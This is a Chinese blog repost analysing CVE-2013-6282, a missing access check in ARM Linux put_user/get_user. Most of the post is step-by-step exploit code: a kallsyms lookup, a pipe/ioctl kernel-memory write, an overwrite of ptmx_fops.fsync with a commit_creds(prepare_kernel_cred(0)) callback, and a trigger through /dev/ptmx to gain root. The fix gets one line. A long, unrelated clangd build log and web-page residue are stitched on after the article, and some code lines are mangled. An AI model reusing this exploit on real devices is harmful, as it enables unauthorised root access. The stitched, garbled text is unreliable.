Missing access checks in put_user/get_user kernel API (CVE-2013-6282)

Linux内核ARM漏洞利用技术解析
本文详细分析了Linux内核ARM上get_user/put_user函数缺失访问权限检查导致的漏洞,阐述了漏洞成因及受影响系统版本,并提供了解决方案。文中还介绍了PoC分析过程,包括获取关键数据结构地址、替换fsync函数指针以实现权限提升的技术手段。

转:http://blog.youkuaiyun.com/hu3167343/article/details/34454381


/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1.漏洞成因

Linux kernel对ARM上的get_user/put_user缺少访问权限检查,本地攻击者可利用此漏洞读写内核内存,获取权限提升。


2.受影响的系统

Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1


3.PoC分析

(1)从/proc/kallsyms文件中获得数据结构ptmx_fops的地址

  1. void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");  
  2. unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;  


  1. static void *kallsyms_get_symbol_address(const char *symbol_name)  
  2. {  
  3.     FILE *fp;  
  4.     char function[BUFSIZ];  
  5.     char symbol;  
  6.     void *address;  
  7.     int ret;  
  8.   
  9.     fp = fopen("/proc/kallsyms""r");  
  10.     if (!fp) {  
  11.         printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));  
  12.         return 0;  
  13.     }  
  14.   
  15.     while(!feof(fp)) {  
  16.         ret = fscanf(fp, "%p %c %s", &address, &symbol, function);  
  17.         if (ret != 3) {  
  18.             break;  
  19.         }  
  20.   
  21.         if (!strcmp(function, symbol_name)) {  
  22.             fclose(fp);  
  23.             return address;  
  24.         }  
  25.     }  
  26.     fclose(fp);  
  27.   
  28.     return NULL;  
  29. }  


(2)找到fsync的地址,即ptmx_fops+0x38的地方
  1. static struct file_operations ptmx_fops;  

  1. struct file_operations {  
  2.     struct module *owner;  
  3.     loff_t (*llseek) (struct file *, loff_t, int);  
  4.     ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);  
  5.     ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);  
  6.     ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);  
  7.     ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);  
  8.     int (*iterate) (struct file *, struct dir_context *);  
  9.     unsigned int (*poll) (struct file *, struct poll_table_struct *);  
  10.     long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);  
  11.     long (*compat_ioctl) (struct file *, unsigned int, unsigned long);  
  12.     int (*mmap) (struct file *, struct vm_area_struct *);  
  13.     int (*open) (struct inode *, struct file *);  
  14.     int (*flush) (struct file *, fl_owner_t id);  
  15.     int (*release) (struct inode *, struct file *);  
  16.     int (*fsync) (struct file *, loff_t, loff_t, int datasync);  
  17.     int (*aio_fsync) (struct kiocb *, int datasync);  
  18.     <span style="color:#ff0000;"><strong>int (*fasync) (intstruct file *, int);</strong></span>  
  19.     int (*lock) (struct file *, intstruct file_lock *);  
  20.     ssize_t (*sendpage) (struct file *, struct page *, intsize_t, loff_t *, int);  
  21.     unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);  
  22.     int (*check_flags)(int);  
  23.     int (*flock) (struct file *, intstruct file_lock *);  
  24.     ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);  
  25.     ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);  
  26.     int (*setlease)(struct file *, longstruct file_lock **);  
  27.     long (*fallocate)(struct file *file, int mode, loff_t offset,  
  28.               loff_t len);  
  29.     int (*show_fdinfo)(struct seq_file *m, struct file *f);  
  30. };  

(3)替换fsync函数指针为自己的函数
  1. if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){  


ptmx_fsync_callback函数可以使本进程得到权限提升
  1. /*  obtain_root_privilege - userland callback function 
  2. We set ptmx_fops.fsync to the address of this function 
  3. Calling fysnc on the open /dev/ptmx file descriptor will result 
  4. in this function being called in the kernel context 
  5. We can the call the prepare/commit creds combo to escalate the 
  6. processes priveledge.    
  7. */  
  8. static void ptmx_fsync_callback(void)  
  9. {  
  10.     commit_creds(prepare_kernel_cred(0));  
  11. }  


pipe_write_value_at_address函数底层通过put_user函数改写内核地址内容
  1. static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)  
  2. {  
  3.     char data[4];  
  4.     int pipefd[2];  
  5.     int i;  
  6.   
  7.     *(long *)&data = value;  
  8.   
  9.     if (pipe(pipefd) == -1) {  
  10.         perror("pipe");  
  11.         return 1;  
  12.     }  
  13.   
  14.     for (i = 0; i < (intsizeof(data) ; i++) {  
  15.         char buf[256];  
  16.         buf[0] = 0;  
  17.         if (data[i]) {  
  18.             if (write(pipefd[1], buf, data[i]) != data[i]) {  
  19.                 printf("error in write().\n");  
  20.                 break;  
  21.             }  
  22.         }  
  23.   
  24.         if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {  
  25.             perror("ioctl");  
  26.             break;  
  27.         }  
  28.   
  29.         if (data[i]) {  
  30.             if (read(pipefd[0], buf, sizeof buf) != data[i]) {  
  31.                 printf("error in read().\n");  
  32.                 break;  
  33.             }  
  34.         }  
  35.     }  
  36.   
  37.     close(pipefd[0]);  
  38.     close(pipefd[1]);  
  39.   
  40.     return (i == sizeof (data));  
  41. }  

(4)手动调用fsync函数,触发自己的hook函数,得到权限提升
  1. int fd = open(PTMX_DEVICE, O_WRONLY);  
  2. if(!fd) return 1;   
  3. fsync(fd);  
  4. close(fd);  


4.修复

在put_user之前加了个地址判断




I[10:10:57.635] Ubuntu clangd version 12.0.0-++20210319082646+4990141a4366-1~exp1~20210319193401.61 I[10:10:57.635] PID: 41596 I[10:10:57.635] Working directory: /home/tp/Project/nvr_2025 I[10:10:57.635] argv[0]: /usr/lib/llvm-12/bin/clangd I[10:10:57.635] argv[1]: --compile-commands-dir=/home/tp/Project/nvr_2025 I[10:10:57.635] argv[2]: --background-index I[10:10:57.635] argv[3]: --completion-style=detailed I[10:10:57.635] argv[4]: --header-insertion=never I[10:10:57.635] argv[5]: --log=info I[10:10:57.635] Starting LSP over stdin/stdout I[10:10:57.637] <-- initialize(0) I[10:10:57.638] --> reply:initialize(0) 1 ms I[10:10:57.645] <-- initialized I[10:10:57.650] <-- textDocument/didOpen I[10:10:57.652] --> textDocument/publishDiagnostics I[10:10:57.689] <-- textDocument/codeAction(1) I[10:10:57.700] <-- textDocument/documentLink(2) I[10:10:57.719] Loaded compilation database from /home/tp/Project/nvr_2025/compile_commands.json I[10:10:57.720] ASTWorker building file /home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot/include/stdio.h version 1 with command inferred from /home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot/common/stdio.c [/home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot] /usr/bin/arm-linux-gnueabihf-gcc --target=arm-linux-gnueabihf -c -Wp,-MD,common/.stdio.o.d -nostdinc -isystem /home/tp/Project/nvr_2025/sstar931/toolchain/bin/../lib/garm-linux-gnueabihf-gcc/arm-sigmastar-linux-uclibcgnueabihf/9.1.0/include -I/home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot/include -I/home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot/arch/arm/include -include ./include/linux/kconfig.h -D__KERNEL__ -D__UBOOT__ -DCONFIG_SSTAR_RAM_SIZE=0x08000000 -DCONFIG_SSTAR_LOAD_ADDR=0x23D00000 -DCONFIG_SSTAR_RUN_ADDR=0x23E00000 -Wall -Wstrict-prototypes -Wno-format-security -fno-builtin -ffreestanding -fshort-wchar -fno-strict-aliasing -fno-PIE -Os -fno-stack-protector -fno-delete-null-pointer-checks -Wno-pointer-sign -Wno-stringop-truncation -Wno-array-bounds -Wno-stringop-overflow -Wno-maybe-uninitialized -fmacro-prefix-map=./= -g -Wno-format-nonliteral -Wno-address-of-packed-member -Wno-unused-but-set-variable -Werror=date-time -Wno-packed-not-aligned -D__ARM__ -marm -mabi=aapcs-linux -fno-pic -ffunction-sections -fdata-sections -fno-common -ffixed-r9 -pipe -DCONFIG_UIP=1 -march=armv7-a -D__LINUX_ARM_ARCH__=7 -mtune=generic-armv7-a -I/home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot/arch/arm/mach-sstar/include -DKBUILD_BASENAME="stdio" -DKBUILD_MODNAME="stdio" -x c-header -std=gnu11 /home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/factory_uboot/mboot/include/stdio.h -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/core/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/storage/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/onvif_discovery/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/pppd/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrtest/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/chm/src/ipcd/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/chm/src/slp/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/chm/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/chm/src/onvif/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrgui/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/ipcd/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/minigui/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/minigui/src/src/newgal/fbcon/hi_mpp/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/minigui/src/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/vigi_log/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/mgi/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/playback_share_info/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/dem/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/cloud_storage/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/media_server/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/media/librtsp/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/media/librtp/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/media/libflv/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/sdk/libice/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/sdk/libaio/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/sdk/libhttp/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsps/sdk/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsp/live/BasicUsageEnvironment/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsp/live/liveMedia/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsp/live/groupsock/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/rtsp/live/UsageEnvironment/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/nvrcore/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/media_server/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/badblocks/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/parted/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/vga_to_hdmi/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/busybox/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/iptables/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/traversal_utils/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/e2fsprogs/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/reg-tools-1.0.0/src/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/procrank/src/libpagemap/include -I/home/tp/Project/nvr_2025/torchlight/package/tp_package/u_packages/bq/src/include -fsyntax-only -resource-dir=/usr/lib/llvm-12/lib/clang/12.0.0 I[10:10:57.721] --> textDocument/clangd.fileStatus I[10:10:57.723] --> window/workDoneProgress/create(0) I[10:10:57.723] Enqueueing 8106 commands for indexing I[10:10:57.724] <-- reply(0) I[10:10:57.724] --> $/progress I[10:10:57.724] --> $/progress I[10:10:57.756] --> textDocument/publishDiagnostics I[10:10:57.756] --> reply:textDocument/codeAction(1) 67 ms I[10:10:57.756] --> reply:textDocument/documentLink(2) 55 ms I[10:10:57.756] --> textDocument/clangd.fileStatus I[10:10:57.979] <-- textDocument/codeAction(3) I[10:10:57.979] --> reply:textDocument/codeAction(3) 0 ms I[10:10:57.979] --> textDocument/clangd.fileStatus I[10:10:58.008] <-- textDocument/documentLink(4) I[10:10:58.008] --> reply:textDocument/documentLink(4) 0 ms I[10:10:58.008] --> textDocument/clangd.fileStatus I[10:10:58.042] <-- textDocument/documentSymbol(5) I[10:10:58.042] --> reply:textDocument/documentSymbol(5) 0 ms I[10:10:58.042] --> textDocument/clangd.fileStatus I[10:10:58.259] <-- textDocument/semanticTokens/full(6) I[10:10:58.262] --> reply:textDocument/semanticTokens/full(6) 3 ms I[10:10:58.262] --> textDocument/clangd.fileStatus I[10:10:58.568] <-- $/setTrace I[10:10:58.568] unhandled notification $/setTrace I[10:10:58.975] <-- $/setTrace I[10:10:58.975] unhandled notification $/setTrace I[10:10:59.009] <-- textDocument/documentSymbol(7) I[10:10:59.009] <-- textDocument/documentLink(8) I[10:10:59.009] --> reply:textDocument/documentSymbol(7) 0 ms I[10:10:59.009] --> reply:textDocument/documentLink(8) 0 ms I[10:10:59.010] --> textDocument/clangd.fileStatus I[10:11:00.085] <-- $/setTrace I[10:11:00.085] unhandled notification $/setTrace E[10:11:02.368] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_export.c to validate stored index: No such file or directory E[10:11:02.374] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_ansi_x963_export.c to validate stored index: No such file or directory E[10:11:02.374] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/busybox-1.19.4/archival/libarchive/filter_aarm-linux-gnueabihf-gccept_list.c to validate stored index: No such file or directory E[10:11:02.375] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/pppd-2.4.3/pppd/arm-linux-gnueabihf-gccp.c to validate stored index: No such file or directory E[10:11:02.376] Background-index: Couldn't read /home/tp/Project/nvr_2025/sstar931/linux-5.10.61/mm/maarm-linux-gnueabihf-gccess.c to validate stored index: No such file or directory E[10:11:02.376] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/encauth/arm-linux-gnueabihf-gccm/arm-linux-gnueabihf-gccm_done.c to validate stored index: No such file or directory E[10:11:02.376] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/jpeg-9a/jarm-linux-gnueabihf-gccolor.c to validate stored index: No such file or directory E[10:11:02.377] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/ltc_earm-linux-gnueabihf-gcc_is_valid_idx.c to validate stored index: No such file or directory E[10:11:02.384] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/encauth/arm-linux-gnueabihf-gccm/arm-linux-gnueabihf-gccm_add_nonce.c to validate stored index: No such file or directory E[10:11:02.387] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_sign_hash.c to validate stored index: No such file or directory E[10:11:02.389] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/earm-linux-gnueabihf-gcc.c to validate stored index: No such file or directory E[10:11:02.390] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/math/fp/ltc_earm-linux-gnueabihf-gcc_fp_mulmod.c to validate stored index: No such file or directory E[10:11:02.390] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_decrypt_key.c to validate stored index: No such file or directory E[10:11:02.391] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/openssl-1.0.1e/crypto/modes/arm-linux-gnueabihf-gccm128.c to validate stored index: No such file or directory E[10:11:02.395] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/ltc_earm-linux-gnueabihf-gcc_mul2add.c to validate stored index: No such file or directory E[10:11:02.396] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/encauth/arm-linux-gnueabihf-gccm/arm-linux-gnueabihf-gccm_test.c to validate stored index: No such file or directory E[10:11:02.396] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/encauth/arm-linux-gnueabihf-gccm/arm-linux-gnueabihf-gccm_reset.c to validate stored index: No such file or directory E[10:11:02.400] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/tcp-aarm-linux-gnueabihf-gccept.c to validate stored index: No such file or directory E[10:11:02.408] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/busybox-1.19.4/archival/libarchive/filter_aarm-linux-gnueabihf-gccept_reject_list.c to validate stored index: No such file or directory E[10:11:02.410] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/nvrcore/rtsps/media/librtp/rtpext/rtp-ext-transport-wide-arm-linux-gnueabihf-gcc.c to validate stored index: No such file or directory E[10:11:02.413] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/busybox-1.19.4/archival/libarchive/filter_aarm-linux-gnueabihf-gccept_all.c to validate stored index: No such file or directory E[10:11:02.414] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/ncurses-6.1/ncurses/widechar/lib_arm-linux-gnueabihf-gcchar.c to validate stored index: No such file or directory E[10:11:02.414] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/nvrgui/Config/EventCfg/ExDtct/EventAMSysAcs/EventAMSysAarm-linux-gnueabihf-gccess_json.c to validate stored index: No such file or directory E[10:11:02.416] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/minigui/src/gui/aarm-linux-gnueabihf-gccelkey.c to validate stored index: No such file or directory E[10:11:02.416] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_sizes.c to validate stored index: No such file or directory E[10:11:02.422] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/jpeg-9a/jarm-linux-gnueabihf-gccoefct.c to validate stored index: No such file or directory E[10:11:02.423] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/smartctl/arm-linux-gnueabihf-gcciss.cpp to validate stored index: No such file or directory E[10:11:02.423] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_import.c to validate stored index: No such file or directory E[10:11:02.423] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/encauth/arm-linux-gnueabihf-gccm/arm-linux-gnueabihf-gccm_memory.c to validate stored index: No such file or directory E[10:11:02.426] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/encauth/arm-linux-gnueabihf-gccm/arm-linux-gnueabihf-gccm_init.c to validate stored index: No such file or directory E[10:11:02.427] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_ansi_x963_import.c to validate stored index: No such file or directory E[10:11:02.428] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_test.c to validate stored index: No such file or directory E[10:11:02.429] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/dropbear-2020.81/libtomcrypt/src/pk/earm-linux-gnueabihf-gcc/earm-linux-gnueabihf-gcc_verify_hash.c to validate stored index: No such file or directory E[10:11:02.432] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/target-arm-openwrt-linux-uclibcgnueabihf/nvrgui/Config/EventCfg/ExDtct/EventAMSysAcs/EventAMSysAarm-linux-gnueabihf-gccess.c to validate stored index: No such file or directory E[10:11:02.436] Background-index: Couldn't read /home/tp/Project/nvr_2025/torchlight/build_dir/linux-mstar_msr931/iptables-1.4.10/extensions/libxt_darm-linux-gnueabihf-gccp.c to validate stored index: No such file or directory
最新发布
09-05
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值